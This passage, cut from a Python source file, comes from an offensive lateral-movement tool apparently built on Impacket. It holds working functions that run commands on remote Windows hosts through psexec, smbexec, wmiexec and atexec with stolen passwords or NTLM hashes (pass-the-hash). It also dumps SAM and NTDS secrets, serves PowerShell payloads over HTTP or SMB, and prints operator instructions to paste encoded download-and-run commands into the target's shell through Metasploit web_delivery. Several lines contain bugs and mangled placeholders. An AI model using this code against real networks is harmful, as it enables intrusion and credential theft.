netifaces.ifaddresses(interface) link_addr = addrs[netifaces.AF_LINK] iface_addrs = addrs[netifaces.AF_INET] iface_dict = iface_addrs[0] link_dict = link_addr[0] hwaddr = link_dict.get('addr') iface_addr = iface_dict.get('addr') iface_broadcast = iface_dict.get('broadcast') iface_netmask = iface_dict.get('netmask') return hwaddr, iface_addr, iface_broadcast, iface_netmask def get_networks(gateways_dict): networks_dict = {} for key, value in gateways_dict.iteritems(): gateway_ip, iface = value[0], value[1] hwaddress, addr, broadcast, netmask = get_addresses(iface) network = {'gateway': gateway_ip, 'hwaddr' : hwaddress, 'addr' : addr, 'broadcast' : broadcast, 'netmask' : netmask} networks_dict[iface] = network return networks_dict ''' HASH MANIPULATION FUNCTIONS ''' def hash_test(LM, NTLM, pwd, usr, verbose): if verbose > 1: print("[*] Hash detected for %s") % (usr) blank_ntlm = re.search(r'31d6cfe0d16ae931b73c59d7e0c089c0',NTLM, re.IGNORECASE) blank_lm = re.search(r'aad3b435b51404eeaad3b435b51404ee',LM, re.IGNORECASE) blank_lm_instances = len(re.findall(r'aad3b435b51404ee', LM, re.IGNORECASE)) bad_format = re.search(r'NOPASSWORD',LM, re.IGNORECASE) if bad_format: if verbose > 1: print("[*] The hash for %s was badly formatted, so padding it") % (usr) LM = "aad3b435b51404eeaad3b435b51404ee" if blank_lm and blank_ntlm: if verbose > 1: print("[*] You do know the password for %s is blank right?") % (usr) elif blank_lm_instances == 1 and not blank_lm: if verbose > 1: print("[*] The hashed password for %s is less than eight characters") % (usr) elif blank_lm and blank_ntlm: if verbos > 1: print("[*] LM hashes are disabled for %s, so focus on cracking the NTLM") % (usr) hash = LM + ":" + NTLM if verbose > 1: print("[*] Your formated hash for %s is: %s") % (usr, hash) pwd = "" return(LM, NTLM, pwd, hash) ''' CATAPULT SERVER FUNCTIONS ''' def delivery_server(port, working_dir, delivery_method, share_name): sub_proc = None if delivery_method == "web": sub_proc = http_server(port, working_dir) if delivery_method == "smb": sub_proc == smb_server(working_dir, share_name) return sub_proc def http_server(port, working_dir): devnull = open(os.devnull, 'w') sub_proc = subprocess.Popen([sys.executable, '-m', 'SimpleHTTPServer', port], cwd=working_dir, stdout=devnull, stderr=devnull) #sub_proc = subprocess.Popen([sys.executable, '-m', 'SimpleHTTPServer', port], cwd=working_dir) #Test Server test_request = "http://127.0.0.1:%s" % (port) time.sleep(1) #DEBUG try: urllib2.urlopen(test_request).read() print("[*] Catapult web server started successfully on port: %s in directory: %s") % (port, working_dir) except Exception, e: print("[!] Catapult web server failed to start") print("[*] Verify the port is not already in use") sub_proc.terminate() sub_proc = None return sub_proc def smb_server(working_dir, share_name): note = '' try: smb_srv = smbserver.SimpleSMBServer() smb_srv.addShare(share_name.upper(), working_dir, note) smb_srv.setSMB2Support(False) smb_srv.setSMBChallenge('') smb_srv.setLogFile('') sub_proc = subprocess.Popen([smb_srv.start()]) except Exception, e: print("[!] Catapult smb server failed to start") # TODO: ADD IN TEST CASE FOR VERIFYING SMB SERVER STARTED USING pysmb return sub_proc ''' METHOD FUNCTIONS ''' def atexec_func(dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, scan_type, verbose, verify_port, encoder, timeout_value, logger_obj, output_cat, st, creds_dict): message = "" message_list = [] if scan_type: state = verify_open(verbose, scan_type, verify_port, dst) if not state: if verbose > 1: print("[-] Host %s port %s is closed") % (dst, verify_port) return #replaced continue inside a function if hash: print("[*] Attempting to access the system %s with, user: %s hash: %s domain: %s ") % (dst, usr, hash, dom) else: print("[*] Attempting to access the system %s with, user: %s pwd: %s domain: %s ") % (dst, usr, pwd, dom) if command == "cmd.exe": sys.exit("[!] Please provide a viable command for execution") if attacks and encoder: with Timeout(timeout_value): try: if hash: print("[*] Attempting to access system %s with user: %s hash: %s domain: %s at: %s") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access system %s with user: %s pwd: %s domain: %s at %s") % (dst, usr, pwd, dom, st) shell = ATSVC_EXEC(username = usr, password = <PASSWORD>, domain = dom, hashes = hash, command = command, proto = protocol) shell.play(dst) data = shell.return_data() message_list, creds_dict = output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr, pwd) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return elif attacks and not encoder: with Timeout(timeout_value): try: if hash: print("[*] Attempting to access system %s with user: %s hash: %s domain: %s at: %s") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access system %s with user: %s pwd: %s domain: %s at %s") % (dst, usr, pwd, dom, st) shell = ATSVC_EXEC(username = usr, password = <PASSWORD>, domain = dom, hashes = hash, command = unprotected_command, proto = protocol) shell.play(dst) data = shell.return_data() message_list, creds_dict = output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr, pwd) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return else: with Timeout(timeout_value): try: if hash: print("[*] Attempting to access system %s with user: %s hash: %s domain: %s at: %s") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access system %s with user: %s pwd: %s domain: %s at %s") % (dst, usr, pwd, dom, st) shell = ATSVC_EXEC(username = usr, password = <PASSWORD>, domain = dom, hashes = hash, command = unprotected_command, proto = protocol) shell.play(dst) data = shell.return_data() message_list, creds_dict = output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr, pwd) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return def psexec_func(dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, directory, scan_type, verbose, verify_port, timeout_value, logger_obj, output_cat, st, creds_dict): message = "" if scan_type: state = verify_open(verbose, scan_type, verify_port, dst) if not state: if verbose > 1: print("[-] Host %s port %s is closed") % (dst, verify_port) return #replaced continue inside a function if attacks: print(instructions) if hash: print("[*] Attempting to access the system %s with, user: %s hash: %s domain: %s at: %s") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access the system %s with, user: %s pwd: %s domain: %s at: %s") % (dst, usr, pwd, dom, st) try: shell = PSEXEC(command, path=directory, protocols=protocol, username = usr, password = <PASSWORD>, domain = dom, hashes = hash, copyFile = None, exeFile = None, aesKey = aes, doKerberos = kerberos) shell.run(dst) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return return def smbexec_func(dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, scan_type, verbose, verify_port, timeout_value, logger_obj, output_cat, st, creds_dict): message = "" if scan_type: state = verify_open(verbose, scan_type, verify_port, dst) if not state: if verbose > 1: print("[-] Host %s port %s is closed") % (dst, verify_port) return #replaced continue inside a function if attacks: print(instructions) if hash: print("[*] Attempting to access the system %s with, user: %s hash: %s domain: %s at: %s ") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access the system %s with, user: %s pwd: %s domain: %s at: %s") % (dst, usr, pwd, dom, st) try: shell = CMDEXEC(protocols = protocol, username = usr, password = <PASSWORD>, domain = dom, hashes = hash, aesKey = aes, doKerberos = kerberos, mode = mode, share = share) shell.run(dst) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return def wmiexec_func(dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, no_output, scan_type, verbose, verify_port, encoder, timeout_value, logger_obj, output_cat, st, creds_dict): message = "" messsage_list = [] if scan_type: state = verify_open(verbose, scan_type, verify_port, dst) if not state: if verbose > 1: print("[-] Host %s port %s is closed") % (dst, verify_port) return #replaced continue inside a function if attacks and encoder: if hash: print("[*] Attempting to access the system %s with, user: %s hash: %s domain: %s at: %s") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access the system %s with, user: %s pwd: %s domain: %s at: %s") % (dst, usr, pwd, dom, st) if command == "cmd.exe": sys.exit("[!] You must provide a command or attack for exploitation if you are using wmiexec") with Timeout(timeout_value): try: shell = WMIEXEC(unprotected_command, username = usr, password = <PASSWORD>, domain = dom, hashes = hash, aesKey = aes, share = share, noOutput = no_output, doKerberos=kerberos) shell.run(dst) data = shell.return_data() message_list, creds_dict = output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr, pwd) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return #replaced continue inside a function elif attacks and not encoder: if hash: print("[*] Attempting to access the system %s with, user: %s hash: %s domain: %s at: %s") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access the system %s with, user: %s pwd: %s domain: %s at: %s") % (dst, usr, pwd, dom, st) if command == "cmd.exe": sys.exit("[!] You must provide a command or attack for exploitation if you are using wmiexec") with Timeout(timeout_value): try: shell = WMIEXEC(unprotected_command, username = usr, password = <PASSWORD>, domain = dom, hashes = hash, aesKey = aes, share = share, noOutput = no_output, doKerberos=kerberos) shell.run(dst) data = shell.return_data() message_list, creds_dict = output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr, pwd) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return #changed from continue inside a function elif attacks: if hash: print("[*] Attempting to access the system %s with, user: %s hash: %s domain: %s at: %s") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access the system %s with, user: %s pwd: %s domain: %s at: %s") % (dst, usr, pwd, dom, st) if command == "cmd.exe": sys.exit("[!] You must provide a command or attack for exploitation if you are using wmiexec") with Timeout(timeout_value): try: shell = WMIEXEC(command, username = usr, password = <PASSWORD>, domain = dom, hashes = hash, aesKey = aes, share = share, noOutput = no_output, doKerberos=kerberos) shell.run(dst) data = shell.return_data() message_list, creds_dict = output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr, pwd) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return # changed from continue inside a function else: if hash: print("[*] Attempting to access the system %s with, user: %s hash: %s domain: %s at: %s") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access the system %s with, user: %s pwd: %s domain: %s at: %s") % (dst, usr, pwd, dom, st) if command == "cmd.exe": sys.exit("[!] You must provide a command or attack for exploitation if you are using wmiexec") with Timeout(timeout_value): try: shell = WMIEXEC(command, username = usr, password = <PASSWORD>, domain = dom, hashes = hash, aesKey = aes, share = share, noOutput = no_output, doKerberos=kerberos) shell.run(dst) data = shell.return_data() message_list, creds_dict = output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr, pwd) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return # changed from continue inside a function return(creds_dict) def netview_func(dst, usr, pwd, dom, hash, aes, kerberos, final_targets, methods, scan_type, verbose, verify_port, timeout_value, logger_obj, output_cat, st, creds_dict, command): if scan_type: state = verify_open(verbose, scan_type, verify_port, dst) if not state: if verbose > 1: print("[-] Host %s port %s is closed") % (dst, verify_port) return #replaced continue inside a function if methods: sys.exit("[!] The --scout option is run without methods") if hash: print("[*] Attempting to access the system %s with, user: %s hash: %s domain: %s at: %s") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access the system %s with, user: %s pwd: %s domain: %s at: %s ") % (dst, usr, pwd, dom, st) opted = NetviewDetails(user = None, users = None, target = dst, targets = None, noloop = True, delay = '10', max_connections = '1000', domainController = None, debug = False) try: shell = USERENUM(username = usr, password = <PASSWORD>, domain = dom, hashes = hash, aesKey = aes, doKerberos = kerberos, options=opted) shell.run() data = shell.return_data() message_list, creds_dict = output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr, pwd) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return def sam_dump_func(dst, usr, hash, dom, aes, kerberos, system, security, sam, ntds, pwd, scan_type, verbose, verify_port, timeout_value, logger_obj, output_cat, st, creds_dict, command): message = "" if scan_type: state = verify_open(verbose, scan_type, verify_port, dst) if not state: if verbose > 1: print("[-] Host %s port %s is closed") % (dst, verify_port) return #replaced continue inside a function if hash: print("[*] Attempting to access the system %s with, user: %s hash: %s domain: %s at: %s ") % (dst, usr, hash, dom, st) else: print("[*] Attempting to access the system %s with, user: %s pwd: %s domain: %s at: %s") % (dst, usr, pwd, dom, st) shell = DumpSecrets(address = dst, username = usr, password = <PASSWORD>, domain = dom, hashes = hash, aesKey = aes, doKerberos = kerberos, system = system, security = security, sam = sam, ntds = ntds) try: shell.dump() data = shell.return_output_hashes() message_list, creds_dict = output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr, pwd) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if hash: print("[-] Cound not execute the command against %s using the domain %s user %s and hash %s at: %s") % (dst, dom, usr, pwd, st) else: print("[-] Could not execute the command against %s using the domain %s user %s and password %s at: %s") % (dst, dom, usr, pwd, st) return return(creds_dict) def instructions_func(payload, src_port, command, unprotected_command, smbexec_cmd, execution, delivery): if "web" in delivery and "invoker" or "executor" in execution: prep = '''[*] Place the PowerShell script ''' + str(payload) + ''' in an empty directory, or use the default /opt/ranger/web. [*] Start-up your Python web server as follows Python SimpleHTTPServer ''' + str(src_port) + '''.''' post = '''\n[*] Copy and paste one of the following commands into the target boxes command shell. [+] This command is unencoded:\n''' + unprotected_command + '''\n [+] This command is double encoded:\n''' +command if smbexec_cmd: instructions = post else: instructions = prep + post elif "smb" in delivery and "invoker" or "executor" in execution: prep = '''[*] Place the PowerShell script ''' + str(payload) + ''' in an empty directory, or use the default /opt/ranger/smb. [*] Start-up your samba server.''' post ='''[*] Copy and paste one of the following commands into the target boxes command shell. [+] This command is unencoded:\n''' + unprotected_command + '''\n [+] This command is double encoded:\n''' + command if smbexec_cmd: instructions = post else: instructions = prep + post elif "downloader" in execution: prep = '''[*] If you have not already done this, start-up your Metasploit module exploit/multi/script/web_delivery. [*] Make sure to select the PowerShell and copy the payload name for this script and set the URIPATH to /.''' post = '''[*] Copy and paste one of the following commands into the target boxes command shell. [+] This command is unencoded:\n''' + unprotected_command + '''\n [+] This command is double encoded:\n''' +command if smbexec_cmd: instructions = post else: instructions = prep + post return(instructions) ''' NMAP FUNCTIONS ''' def unique_host_dict(hosts, verbose): count = 0 hosts_dict = {} processed_hosts = {} if not hosts: sys.exit("[!] There was an issue processing the data") for inst in hosts: hosts_temp = inst.hosts_return() if hosts_temp is not None: for k, v in hosts_temp.iteritems(): hosts_dict[count] = v count+=1 hosts_temp.clear() if verbose > 2: for key, value in hosts_dict.iteritems(): print("[*] Key: %s Value: %s") % (key,value) temp = [(k, hosts_dict[k]) for k in hosts_dict] temp.sort() key = 0 for k, v in temp: compare = lambda x, y: collections.Counter(x) == collections.Counter(y) if str(v) in str(processed_hosts.values()): continue else: key+=1 processed_hosts[key] = v return(processed_hosts) def xml_list_process(xml, verbose): xml_list = [] hosts = [] # Instantiation for proof of concept if "," in xml: xml_list = xml.split(',') else: xml_list.append(xml) for x in xml_list: try: tree_temp = etree.parse(x) except: sys.exit("[!] Cannot open XML file: %s \n[-] Ensure that your are passing the correct file and format" % (x)) try: root = tree_temp.getroot() name = root.get("scanner") if name is not None and "nmap" in name: if verbose > 1: print ("[*] File being processed is an NMAP XML") hosts.append(Nmap_parser(x, verbose)) else: print("[!] File % is not an NMAP XML") % (str(x)) sys.exit(1) except Exception, e: print("[!] Processing of file %s failed %s") % (str(x), str(e)) sys.exit(1) processed_hosts = unique_host_dict(hosts, verbose) return(processed_hosts) def verify_open(verbose, scan_type, port, dst): nm = nmap.PortScanner() if "tcp" in scan_type: if verbose > 1: print("[*] Checking to see if the port %s is open on %s by TCP Connect scan") % (port, dst) scan_args = '-sT -p %s' % (port) nm.scan(hosts=dst, arguments=scan_args) elif "syn" in scan_type: if verbose > 1: print("[*] Checking to see if the port %s is open on %s by SYN Scan scan") % (port, dst) scan_args = '-sS -p %s' % (port) nm.scan(hosts=dst, arguments=scan_args) try: output = nm[dst]['tcp'][int(port)]['state'] except Exception, e: output = "closed" if "open" in output: return(True) else: return(False) ''' CREDENTIAL Functions ''' # PWD AND HASH TEST def pwd_test(pwd, verbose, usr = None): SID = None NTLM = "" LM = "" hash = None dom_temp = None hash_count = [] pwdump_format_hash = [] if pwd and ":" in pwd and pwd.count(':') == 5 and "\\" in pwd: pwdump_format_hash = pwd.split(':') temp_key = pwdump_format_hash[0] dom_temp, usr = temp_key.split('\\') dom_temp = dom_temp.lower() usr = usr.lower() SID = None LM = pwdump_format_hash[1] NTLM = pwdump_format_hash[2] if pwd and ":" in pwd and pwd.count(':') == 6: pwdump_format_hash = pwd.split(':') if not usr: usr = pwdump_format_hash[0].lower() else: usr = usr.lower() SID = pwdump_format_hash[1] LM = pwdump_format_hash[2] NTLM = pwdump_format_hash[3] try: SID = int(SID) except: dom_temp = NTLM NTLM = SID LM = "aad3b435b51404eeaad3b435b51404ee" SID = None elif pwd and ":" in pwd and pwd.count(':') == 1: format_hash = pwd.split(':') LM = format_hash[0] if LM == ":" or LM == "" or LM == " ": LM = "aad3b435b51404eeaad3b435b51404ee" NTLM = format_hash[1] if LM == ":" or LM == "" or LM == " ": LM = "aad3b435b51404eeaad3b435b51404ee" NTLM = pwdump_format_hash[3] if pwdump_format_hash[1]: SID = pwdump_format_hash[1] pwd = None if not usr: usr = pwdump_format_hash[0].lower() else: usr = usr.lower() if re.match('[0-9A-Fa-f]{32}', LM) or re.match('[0-9A-Fa-f]{32}', NTLM): LM, NTLM, pwd, hash = hash_test(LM, NTLM, pwd, usr, verbose) if pwd and ":" in pwd and pwd.count(':') == 1: if pwd.startswith(':'): LM, NTLM = pwd.split(':') if LM == "" or LM == ":": LM = "aad3b435b51404eeaad<PASSWORD>" else: LM, NTLM = pwd.split(':') if re.match('[0-9A-Fa-f]{32}', LM) or re.match('[0-9A-Fa-f]{32}', NTLM): LM, NTLM, pwd, hash = hash_test(LM, NTLM, pwd, usr, verbose) hash_count = hash.split(':') if len(hash_count) != 2: LM, NTLM, pwd, hash = hash_test(LM, NTLM, pwd, usr, verbose) return(SID, LM, NTLM, hash, usr, pwd, dom_temp) def in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp): temp_list = creds_dict[temp_key] if not temp_list[0]: temp_list[0] = SID_temp if not temp_list[1]: if LM_temp == ":" or LM_temp == "" or LM_temp == " ": LM_temp = "aad3b435b51404eeaad3b435b51404ee" temp_list[1] = LM_temp else: temp_list[1] = LM_temp if not temp_list[2]: temp_list[2] = NTLM_temp if not temp_list[3]: if not (LM_temp or NTLM_temp): hash_temp = None elif NTLM_temp and not LM_temp: LM_temp = "aad3b435b51404eeaad3b435b51404ee" hash_temp = LM_temp + ":" + NTLM_temp temp_list[3] = hash_temp elif NTLM_temp and LM_temp: hash_temp = LM_temp + ":" + NTLM_temp temp_list[3] = hash_temp if not temp_list[4]: temp_list[4] = usr_temp if not temp_list[5]: temp_list[5] = pwd_temp if not temp_list[6]: temp_list[6] = dom_temp if not temp_list[7]:# TODO temp_list[7] = local_admin_temp if not temp_list[8]: # TODO temp_list[8] = groups_temp if not temp_list[9]:# TODO temp_list[9] = logged_in_temp if not temp_list[10]:# TODO temp_list[10] = access_to_temp if not temp_list[11]: temp_list[11] = cached_temp creds_dict[temp_key] = temp_list return(creds_dict) def not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp): temp_list = [] if LM_temp == ":" or LM_temp == "" or LM_temp == " ": LM_temp = "aad3b435b51404eeaad3b435b51404ee" temp_list = [SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, access_to_temp, cached_temp] creds_dict[temp_key] = temp_list return(creds_dict) def add_to_creds_dict(logger_obj, verbose, creds_dict, dom, cred = None, usr = None, pwd = None): temp_list = [] SID_temp = None LM_temp = None NTLM_temp = None hash_temp = None usr_temp = usr pwd_temp = <PASSWORD> dom_temp = None local_admin_temp = [] groups_temp = {} logged_in_temp = [] access_to_temp = [] cached_temp = None cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) if cred and ":" in cred and cred.count(':') == 5 and '\\' in cred: SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp = pwd_test(cred, verbose, usr_temp) if not dom_temp: dom_temp = dom.lower() usr_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif pwd and ":" in pwd and pwd.count(':') != 6 and '\\' not in pwd: SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp = pwd_test(pwd_temp, verbose, usr_temp) if not dom_temp: dom_temp = "workgroup" usr_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif pwd and ":" in pwd and pwd.count(':') == 6 and '\\' not in pwd: usr_temp = usr SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp = pwd_test(pwd_temp, verbose, usr_temp) if not dom_temp: dom_temp = "workgroup" usr_temp = usr_temp.lower temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif pwd and ":" in pwd and pwd.count(':') == 1: SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp = pwd_test(pwd_temp, verbose, usr_temp) if not dom_temp: dom_temp = "workgroup" usr_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif usr and pwd and ":" not in pwd: if not dom_temp: dom_temp = dom.lower() usr_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif cred and ":" in cred and cred.count(':') == 6: if cred.count(' ') == 1: cred = cred.rstrip('\n') hash_temp, dom_temp = cred.split(' ') SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp = pwd_test(hash_temp, verbose) if "WORKGROUP" not in dom or dom_temp == None: dom_temp = dom if not dom_temp: dom_temp = dom_temp.lower() usr_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif cred.count(' ') == 0: cred = cred.rstrip('\n') hash_temp = cred SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp = pwd_test(hash_temp, verbose) dom_temp = "workgroup" usr_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif cred and ":" in cred and cred.count(':') == 1: if cred.count(' ') == 2: cred.rstrip('\n') usr_temp, hash_temp, dom_temp = cred.split(' ') usr_temp = usr_temp.lower() SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp = pwd_test(hash_temp, verbose, usr_temp) dom_temp = dom_temp.lower() if "WORKGROUP" not in dom or dom_temp == None: dom_temp = dom.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, 